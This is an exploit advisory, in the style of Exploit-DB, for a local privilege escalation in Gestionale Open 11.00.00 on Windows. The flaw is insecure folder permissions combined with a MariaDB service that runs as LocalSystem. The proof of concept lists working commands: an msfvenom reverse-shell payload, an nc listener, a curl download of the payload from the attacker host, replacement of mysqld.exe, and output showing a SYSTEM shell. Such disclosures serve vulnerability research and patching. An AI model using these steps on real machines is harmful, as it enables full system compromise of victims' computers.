# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation # Date: 2021-07-19 # Author: Alessandro 'mindsflee' Salzano # Vendor Homepage: https://www.gestionaleopen.org/ # Software Homepage: https://www.gestionaleopen.org/ # Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe # Version: 11.00.00 # Tested on: Microsoft Windows 10 Enterprise x64 With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation. Vendor: Gestionale Open srl. Affected version: > 11.00.00 # Details # By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below. # A low privilege account is able to rename the mysqld.exe file located in bin folder and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. # While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file. The application also have unquoted service path issues. (1) Impacted services. Any low privileged user can elevate their privileges abusing MariaDB service: C:\Gestionale_Open\MySQL57\bin\mysqld.exe Details: SERVICE_NAME: DB_GO TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DB_GO DEPENDENCIES : SERVICE_START_NAME : LocalSystem (2) Folder permissions. Insecure folders permissions issue: C:\Gestionale_Open Everyone:(I)(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) # Proof of Concept 1. Generate malicious .exe on attacking machine msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe 2. Setup listener and ensure apache is running on attacking machine nc -lvp 4242 service apache2 start 3. Download malicious .exe on victim machine type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe" 4. Overwrite file and copy malicious .exe. Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak Rename downloaded 'mysqld_evil.exe' file in mysqld.exe 5. Restart victim machine 6. Reverse Shell on attacking machine opens C:\Windows\system32>whoami whoami nt authority\system